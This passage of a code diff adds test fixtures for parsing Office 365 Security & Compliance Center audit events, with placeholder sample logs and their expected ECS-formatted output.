+ "o365audit": {
+ "SenderIP": "81.2.69.144",
+ "Recipients": [
+ "user@example.com"
+ ],
+ "SubmissionState": "Rescaned",
+ "RescanResult": {
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Timestamp": "2022-12-31T23:59:59",
+ "RescanVerdict": "NotSpam"
+ },
+ "UserKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Operation": "UserSubmission",
+ "P2Sender": "sender name ",
+ "ExtendedProperties": [
+ {
+ "Value": "1111111111111111",
+ "Name": "KesMailId"
+ },
+ {
+ "Value": "AAAAAAAA.BBBBBBBB.CCCCCCCC.DDDDDDDD.EEEEE",
+ "Name": "FingerprintData"
+ },
+ {
+ "Value": "Email",
+ "Name": "SubmissionCategory"
+ },
+ {
+ "Value": "NotSpam",
+ "Name": "RescanVerdict"
+ },
+ {
+ "Value": "Microsoft",
+ "Name": "SubmissionSource"
+ },
+ {
+ "Value": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Name": "SubmissionId"
+ },
+ {
+ "Value": "Allow",
+ "Name": "OriginalVerdict"
+ }
+ ],
+ "SubmissionConfidenceLevel": "1",
+ "RecordType": 29,
+ "SubmissionContentSubType": "MsftAndCustomMbxSubmission",
+ "Language": "en",
+ "Version": 1,
+ "SubmitterId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "P1Sender": "sender@example.com",
+ "P2SenderDomain": "example.com",
+ "MessageDate": "2022-12-31T23:59:59",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "P1SenderDomain": "example.com",
+ "Subject": "subject",
+ "Workload": "SecurityComplianceCenter",
+ "BCLValue": "0",
+ "FilteringDate": "2022-12-31T23:59:59",
+ "UserId": "user@example.com",
+ "InternetMessageId": "",
+ "KesMailId": "1111111111111111",
+ "CreationTime": "2022-12-31T23:59:59",
+ "SubmissionId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "SubmissionType": "0",
+ "SubmissionContentType": "Mail",
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": 0
+ }
+ },
+ {
+ "event": {
+ "original": "{\"CmdletVersion\":\"1.2\",\"Parameters\":\"-Identity \\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\\dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ResultStatus\":\"Success\",\"UserKey\":\"account@example.com\",\"StartTime\":\"2022-12-31T23:59:59\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"Get-QuarantineMessage\",\"Workload\":\"SecurityComplianceCenter\",\"NonPIIParameters\":\"-Identity \\\"\\\"\",\"EffectiveOrganization\":\"example.com\",\"ClientApplication\":\"EMC\",\"UserServicePlan\":\"\",\"RecordType\":\"18\",\"Version\":\"1\",\"UserId\":\"account@example.com\",\"CreationTime\":\"2022-12-31T23:59:59\",\"SecurityComplianceCenterEventType\":\"0\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"2\"}"
+ },
+ "o365audit": {
+ "CmdletVersion": "1.2",
+ "Parameters": "-Identity \"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ResultStatus": "Success",
+ "UserKey": "account@example.com",
+ "StartTime": "2022-12-31T23:59:59",
+ "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Operation": "Get-QuarantineMessage",
+ "Workload": "SecurityComplianceCenter",
+ "NonPIIParameters": "-Identity \"\"",
+ "EffectiveOrganization": "example.com",
+ "ClientApplication": "EMC",
+ "UserServicePlan": "",
+ "RecordType": 18,
+ "Version": 1,
+ "UserId": "account@example.com",
+ "CreationTime": "2022-12-31T23:59:59",
+ "SecurityComplianceCenterEventType": "0",
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": 2
+ }
+ },
+ {
+ "event": {
+ "original": "{\"ObjectType\":\"EMail\",\"RecordType\":\"38\",\"Version\":\"1\",\"UserId\":\"account@example.com\",\"UserKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"CreationTime\":\"2022-12-31T23:59:59\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AdminMailAccess\",\"UserType\":\"2\",\"ExtendedProperties\":[{\"Value\":\"True\",\"Name\":\"DownloadEMail\"},{\"Value\":\"user@example.com\",\"Name\":\"MailboxId\"},{\"Value\":\"%3Cbase64%40example.com%3E\",\"Name\":\"InternetMessageId\"}],\"Workload\":\"SecurityComplianceCenter\"}"
+ },
+ "o365audit": {
+ "ObjectType": "EMail",
+ "RecordType": 38,
+ "Version": 1,
+ "UserId": "account@example.com",
+ "UserKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "CreationTime": "2022-12-31T23:59:59",
+ "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Operation": "AdminMailAccess",
+ "UserType": 2,
+ "ExtendedProperties": [
+ {
+ "Value": "True",
+ "Name": "DownloadEMail"
+ },
+ {
+ "Value": "user@example.com",
+ "Name": "MailboxId"
+ },
+ {
+ "Value": "%3Cbase64%40example.com%3E",
+ "Name": "InternetMessageId"
+ }
+ ],
+ "Workload": "SecurityComplianceCenter"
+ }
+ },
+ {
+ "event": {
+ "original": "{\"AdditionalData\":[{\"Value\":\"5555\",\"Name\":\"InsightType\"}],\"Description\":\"X new remote domain(s) started receiving forwarded emails from your organization.\",\"Category\":\"MailFlow\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserKey\":\"SecurityComplianceInsights\",\"InsightId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Severity\":\"High\",\"Operation\":\"InsightGenerated\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Workload\":\"SecurityComplianceCenter\",\"Name\":\"New domains being forwarded emails\",\"RecordType\":\"42\",\"Version\":\"1\",\"UserId\":\"SecurityComplianceInsights\",\"CreationTime\":\"2022-12-31T23:59:59\",\"InsightData\":[{\"Type\":\"None\"}],\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"4\"}"
+ },
+ "o365audit": {
+ "AdditionalData": [
+ {
+ "Value": "5555",
+ "Name": "InsightType"
+ }
+ ],
+ "Description": "X new remote domain(s) started receiving forwarded emails from your organization.",
+ "Category": "MailFlow",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserKey": "SecurityComplianceInsights",
+ "InsightId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Severity": "High",
+ "Operation": "InsightGenerated",
+ "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Workload": "SecurityComplianceCenter",
+ "Name": "New domains being forwarded emails",
+ "RecordType": 42,
+ "Version": 1,
+ "UserId": "SecurityComplianceInsights",
+ "CreationTime": "2022-12-31T23:59:59",
+ "InsightData": [
+ {
+ "Type": "None"
+ }
+ ],
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": 4
+ }
+ },
+ {
+ "event": {
+ "original": "{\"UserKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Activity\":\"\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AirAdminActionInvestigationData\",\"InvestigationUrn\":\"None\",\"Workload\":\"SecurityComplianceCenter\",\"AirAdminActionSource\":\"3\",\"Submitter\":\"account@example.com\",\"RecordType\":\"89\",\"UserId\":\"account@example.com\",\"SubAirAdminActionTypeMail\":\"6\",\"AirAdminActionType\":\"1\",\"CreationTime\":\"2022-12-31T23:59:59\",\"Approver\":\"account@example.com\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"2\",\"BulkApprovalId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"}"
+ },
+ "o365audit": {
+ "UserKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Activity": "",
+ "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Operation": "AirAdminActionInvestigationData",
+ "InvestigationUrn": "None",
+ "Workload": "SecurityComplianceCenter",
+ "AirAdminActionSource": "3",
+ "Submitter": "account@example.com",
+ "RecordType": 89,
+ "UserId": "account@example.com",
+ "SubAirAdminActionTypeMail": "6",
+ "AirAdminActionType": "1",
+ "CreationTime": "2022-12-31T23:59:59",
+ "Approver": "account@example.com",
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": 2,
+ "BulkApprovalId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ }
+ }
+ ]
+}
\ No newline at end of file
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-securitycompliancecenter.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-securitycompliancecenter.json-expected.json
new file mode 100644
index 00000000000..024d7d04b07
--- /dev/null
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-securitycompliancecenter.json-expected.json
@@ -0,0 +1,701 @@
+{
+ "expected": [
+ {
+ "@timestamp": "2024-12-31T23:59:59.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "event": {
+ "action": "AlertTriggered",
+ "category": [
+ "web"
+ ],
+ "code": "SecurityComplianceAlerts",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "kind": "alert",
+ "original": "{\"Status\":\"Active\",\"Category\":\"ThreatManagement\",\"ResultStatus\":\"Succeeded\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Comments\":\"New alert\",\"UserKey\":\"SecurityComplianceAlerts\",\"AlertLinks\":[{\"AlertLinkHref\":\"http://example.net/alert\"}],\"Severity\":\"Informational\",\"Data\":\"{\\\"f3u\\\":\\\"user@example.com\\\",\\\"etq\\\":\\\"0\\\",\\\"ts\\\":\\\"2024-12-31T23:59:59.0000000Z\\\",\\\"te\\\":\\\"2024-12-31T23:59:59.0000000Z\\\",\\\"op\\\":\\\"QuarantineRequestReleaseMessage\\\",\\\"wl\\\":\\\"Quarantine\\\",\\\"tid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"tdc\\\":\\\"1\\\",\\\"reid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"wsrt\\\":\\\"2024-12-31T23:59:59\\\",\\\"mdt\\\":\\\"Audit\\\",\\\"rid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"cid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ad\\\":\\\"A user has requested to release an email from quarantine. -V1.0.0.1\\\",\\\"lon\\\":\\\"QuarantineRequestReleaseMessage\\\",\\\"an\\\":\\\"User requested to release a quarantined message\\\",\\\"sev\\\":\\\"Informational\\\"}\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AlertTriggered\",\"Source\":\"Office 365 Security & Compliance\",\"Name\":\"User requested to release a quarantined message\",\"Workload\":\"SecurityComplianceCenter\",\"AlertType\":\"System\",\"AlertId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"RecordType\":\"40\",\"Version\":\"1\",\"UserId\":\"SecurityComplianceAlerts\",\"CreationTime\":\"2024-12-31T23:59:59\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"4\",\"PolicyId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"}",
+ "outcome": "success",
+ "provider": "SecurityComplianceCenter",
+ "type": [
+ "info"
+ ]
+ },
+ "host": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "message": "New alert",
+ "o365": {
+ "audit": {
+ "AlertId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "AlertType": "System",
+ "CreationTime": "2024-12-31T23:59:59",
+ "Data": {
+ "ad": "A user has requested to release an email from quarantine. -V1.0.0.1",
+ "an": "User requested to release a quarantined message",
+ "cid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "f3u": "user@example.com",
+ "flattened": {
+ "ad": "A user has requested to release an email from quarantine. -V1.0.0.1",
+ "an": "User requested to release a quarantined message",
+ "cid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "etq": "0",
+ "f3u": "user@example.com",
+ "lon": "QuarantineRequestReleaseMessage",
+ "mdt": "Audit",
+ "op": "QuarantineRequestReleaseMessage",
+ "reid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "rid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "sev": "Informational",
+ "tdc": "1",
+ "te": "2024-12-31T23:59:59.0000000Z",
+ "tid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ts": "2024-12-31T23:59:59.0000000Z",
+ "wl": "Quarantine",
+ "wsrt": "2024-12-31T23:59:59"
+ },
+ "lon": "QuarantineRequestReleaseMessage",
+ "op": "QuarantineRequestReleaseMessage",
+ "reid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "rid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "sev": "Informational",
+ "tdc": "1",
+ "te": "2024-12-31T23:59:59.000Z",
+ "tid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ts": "2024-12-31T23:59:59.000Z",
+ "wl": "Quarantine"
+ },
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "RecordType": "40",
+ "ResultStatus": "Succeeded",
+ "Severity": "Informational",
+ "Source": "Office 365 Security & Compliance",
+ "Status": "Active",
+ "UserId": "SecurityComplianceAlerts",
+ "UserKey": "SecurityComplianceAlerts",
+ "UserType": "4",
+ "Version": "1"
+ }
+ },
+ "organization": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "related": {
+ "user": [
+ "user@example.com"
+ ]
+ },
+ "rule": {
+ "category": "ThreatManagement",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "name": "User requested to release a quarantined message",
+ "reference": [
+ "http://example.net/alert"
+ ]
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "email": "user@example.com",
+ "id": "SecurityComplianceAlerts"
+ }
+ },
+ {
+ "@timestamp": "2022-12-31T23:59:59.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "email": {
+ "local_id": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "message_id": [
+ ""
+ ],
+ "sender": {
+ "address": [
+ "sender@example.com"
+ ]
+ },
+ "subject": [
+ "subject"
+ ],
+ "to": {
+ "address": [
+ "user@example.com"
+ ]
+ }
+ },
+ "event": {
+ "action": "AlertEntityGenerated",
+ "category": [
+ "web"
+ ],
+ "code": "SecurityComplianceAlerts",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "kind": "alert",
+ "original": "{\"Status\":\"Investigating\",\"Category\":\"ThreatManagement\",\"ResultStatus\":\"Succeeded\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2\",\"Comments\":\"New alert\",\"UserKey\":\"SecurityComplianceAlerts\",\"Data\":\"{\\\"etype\\\":\\\"MalwareFamily\\\",\\\"at\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"md\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"sip\\\":\\\"81.2.69.144\\\",\\\"ms\\\":\\\"subject\\\",\\\"imsgid\\\":\\\"\\\",\\\"ttdt\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"ttr\\\":\\\"Success_MessageQuarantined\\\",\\\"dm\\\":\\\"FileHashList\\\",\\\"eid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2\\\",\\\"aii\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"thn\\\":\\\"Spam,Phish,Malicious\\\",\\\"ts\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"te\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"tpfv\\\":\\\"Block\\\",\\\"fvs\\\":\\\"Tenant\\\",\\\"tpfc\\\":\\\"ETR\\\",\\\"tpt\\\":\\\"HostedContentFilterPolicy\\\",\\\"tpvpid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"tpid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb2\\\",\\\"tid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"tht\\\":\\\"Spam,Phish,Malicious\\\",\\\"trc\\\":\\\"user@example.com\\\",\\\"tsd\\\":\\\"sender@example.com\\\",\\\"zmfh\\\":\\\"a1b2c3d4e5f6g7h8i9jakblc\\\",\\\"zfh\\\":\\\"a1b2c3d4e5f6g7h8i9jakblc\\\",\\\"zmfn\\\":\\\"untitled.dat\\\",\\\"zfn\\\":\\\"untitled.dat\\\",\\\"tdc\\\":\\\"1\\\",\\\"cpid\\\":null,\\\"lon\\\":\\\"Protection\\\"}\",\"Severity\":\"Informational\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AlertEntityGenerated\",\"AlertEntityId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2\",\"Source\":\"Office 365 Security & Compliance\",\"Workload\":\"SecurityComplianceCenter\",\"Name\":\"Email messages containing malicious file removed after delivery\",\"EntityType\":\"MalwareFamily\",\"AlertType\":\"System\",\"AlertId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"RecordType\":\"40\",\"Version\":\"1\",\"UserId\":\"SecurityComplianceAlerts\",\"CreationTime\":\"2022-12-31T23:59:59\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"4\",\"PolicyId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"}",
+ "outcome": "success",
+ "provider": "SecurityComplianceCenter",
+ "type": [
+ "info"
+ ]
+ },
+ "host": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "message": "New alert",
+ "o365": {
+ "audit": {
+ "AlertId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "AlertType": "System",
+ "CreationTime": "2022-12-31T23:59:59",
+ "Data": {
+ "aii": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "at": "2022-12-31T23:59:59.000Z",
+ "dm": "FileHashList",
+ "eid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2",
+ "etype": "MalwareFamily",
+ "flattened": {
+ "aii": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "at": "2022-12-31T23:59:59.0000000Z",
+ "dm": "FileHashList",
+ "eid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2",
+ "etype": "MalwareFamily",
+ "fvs": "Tenant",
+ "imsgid": "",
+ "lon": "Protection",
+ "md": "2022-12-31T23:59:59.0000000Z",
+ "ms": "subject",
+ "sip": "81.2.69.144",
+ "tdc": "1",
+ "te": "2022-12-31T23:59:59.0000000Z",
+ "thn": "Spam,Phish,Malicious",
+ "tht": "Spam,Phish,Malicious",
+ "tid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "tpfc": "ETR",
+ "tpfv": "Block",
+ "tpid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb2",
+ "tpt": "HostedContentFilterPolicy",
+ "tpvpid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "trc": "user@example.com",
+ "ts": "2022-12-31T23:59:59.0000000Z",
+ "tsd": "sender@example.com",
+ "ttdt": "2022-12-31T23:59:59.0000000Z",
+ "ttr": "Success_MessageQuarantined",
+ "zfh": "a1b2c3d4e5f6g7h8i9jakblc",
+ "zfn": "untitled.dat",
+ "zmfh": "a1b2c3d4e5f6g7h8i9jakblc",
+ "zmfn": "untitled.dat"
+ },
+ "fvs": "Tenant",
+ "imsgid": "",
+ "lon": "Protection",
+ "md": "2022-12-31T23:59:59.000Z",
+ "ms": "subject",
+ "sip": "81.2.69.144",
+ "tdc": "1",
+ "te": "2022-12-31T23:59:59.000Z",
+ "thn": "Spam,Phish,Malicious",
+ "tht": "Spam,Phish,Malicious",
+ "tid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "tpid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb2",
+ "tpt": "HostedContentFilterPolicy",
+ "trc": "user@example.com",
+ "ts": "2022-12-31T23:59:59.000Z",
+ "tsd": "sender@example.com",
+ "ttdt": "2022-12-31T23:59:59.000Z",
+ "ttr": "Success_MessageQuarantined",
+ "zfh": "a1b2c3d4e5f6g7h8i9jakblc",
+ "zfn": "untitled.dat",
+ "zmfh": "a1b2c3d4e5f6g7h8i9jakblc",
+ "zmfn": "untitled.dat"
+ },
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2",
+ "RecordType": "40",
+ "ResultStatus": "Succeeded",
+ "Severity": "Informational",
+ "Source": "Office 365 Security & Compliance",
+ "Status": "Investigating",
+ "UserId": "SecurityComplianceAlerts",
+ "UserKey": "SecurityComplianceAlerts",
+ "UserType": "4",
+ "Version": "1"
+ }
+ },
+ "organization": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "related": {
+ "user": [
+ "sender@example.com",
+ "user@example.com"
+ ]
+ },
+ "rule": {
+ "category": "ThreatManagement",
+ "description": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "name": "Email messages containing malicious file removed after delivery",
+ "ruleset": "MalwareFamily"
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "id": "SecurityComplianceAlerts"
+ }
+ },
+ {
+ "@timestamp": "2022-12-31T23:59:59.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "event": {
+ "action": "Search",
+ "category": [
+ "web"
+ ],
+ "code": "DataInsightsRestApiAudit",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "kind": "event",
+ "original": "{\"DatabaseType\":\"Directory\",\"UserKey\":\"1111111111111111\",\"ResultCount\":\"13\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"Search\",\"AadAppId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Workload\":\"SecurityComplianceCenter\",\"RecordType\":\"52\",\"Version\":\"1\",\"UserId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"CreationTime\":\"2022-12-31T23:59:59\",\"DataType\":\"TrialOfferEligibility\",\"RelativeUrl\":\"/DataInsights/DataInsightsService.svc/Find/TrialOfferEligibility?tenantid=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"0\"}",
+ "outcome": "success",
+ "provider": "SecurityComplianceCenter",
+ "type": [
+ "info"
+ ]
+ },
+ "host": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "o365": {
+ "audit": {
+ "AadAppId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "CreationTime": "2022-12-31T23:59:59",
+ "DataType": "TrialOfferEligibility",
+ "DatabaseType": "Directory",
+ "RecordType": "52",
+ "RelativeUrl": "/DataInsights/DataInsightsService.svc/Find/TrialOfferEligibility?tenantid=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ResultCount": "13",
+ "UserId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserKey": "1111111111111111",
+ "UserType": "0",
+ "Version": "1"
+ }
+ },
+ "organization": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ }
+ },
+ {
+ "@timestamp": "2022-12-31T23:59:59.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "event": {
+ "action": "Search",
+ "category": [
+ "web"
+ ],
+ "code": "DataInsightsRestApiAudit",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "kind": "event",
+ "original": "{\"DatabaseType\":\"Directory\",\"UserKey\":\"1111111111111111\",\"ResultCount\":\"13\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"Search\",\"AadAppId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Workload\":\"SecurityComplianceCenter\",\"RecordType\":\"52\",\"Version\":\"1\",\"UserId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"CreationTime\":\"2022-12-31T23:59:59\",\"DataType\":\"TrialOfferEligibility\",\"RelativeUrl\":\"/DataInsights/DataInsightsService.svc/Find/TrialOfferEligibility?tenantid=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"0\"}",
+ "outcome": "success",
+ "provider": "SecurityComplianceCenter",
+ "type": [
+ "info"
+ ]
+ },
+ "host": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "o365": {
+ "audit": {
+ "AadAppId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "CreationTime": "2022-12-31T23:59:59",
+ "DataType": "TrialOfferEligibility",
+ "DatabaseType": "Directory",
+ "RecordType": "52",
+ "RelativeUrl": "/DataInsights/DataInsightsService.svc/Find/TrialOfferEligibility?tenantid=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ResultCount": "13",
+ "UserId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserKey": "1111111111111111",
+ "UserType": "0",
+ "Version": "1"
+ }
+ },
+ "organization": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ }
+ },
+ {
+ "@timestamp": "2022-12-31T23:59:59.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "email": {
+ "message_id": [
+ ""
+ ],
+ "sender": {
+ "address": [
+ "sender@example.com"
+ ]
+ },
+ "subject": [
+ "subject"
+ ],
+ "to": {
+ "address": [
+ "user@example.com"
+ ]
+ }
+ },
+ "event": {
+ "action": "UserSubmission",
+ "category": [
+ "web"
+ ],
+ "code": "MailSubmission",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "kind": "event",
+ "original": "{\"SenderIP\":\"81.2.69.144\",\"Recipients\":\"[user@example.com]\",\"SubmissionState\":\"Rescaned\",\"RescanResult\":{\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Timestamp\":\"2022-12-31T23:59:59\",\"RescanVerdict\":\"NotSpam\"},\"UserKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"UserSubmission\",\"P2Sender\":\"sender name 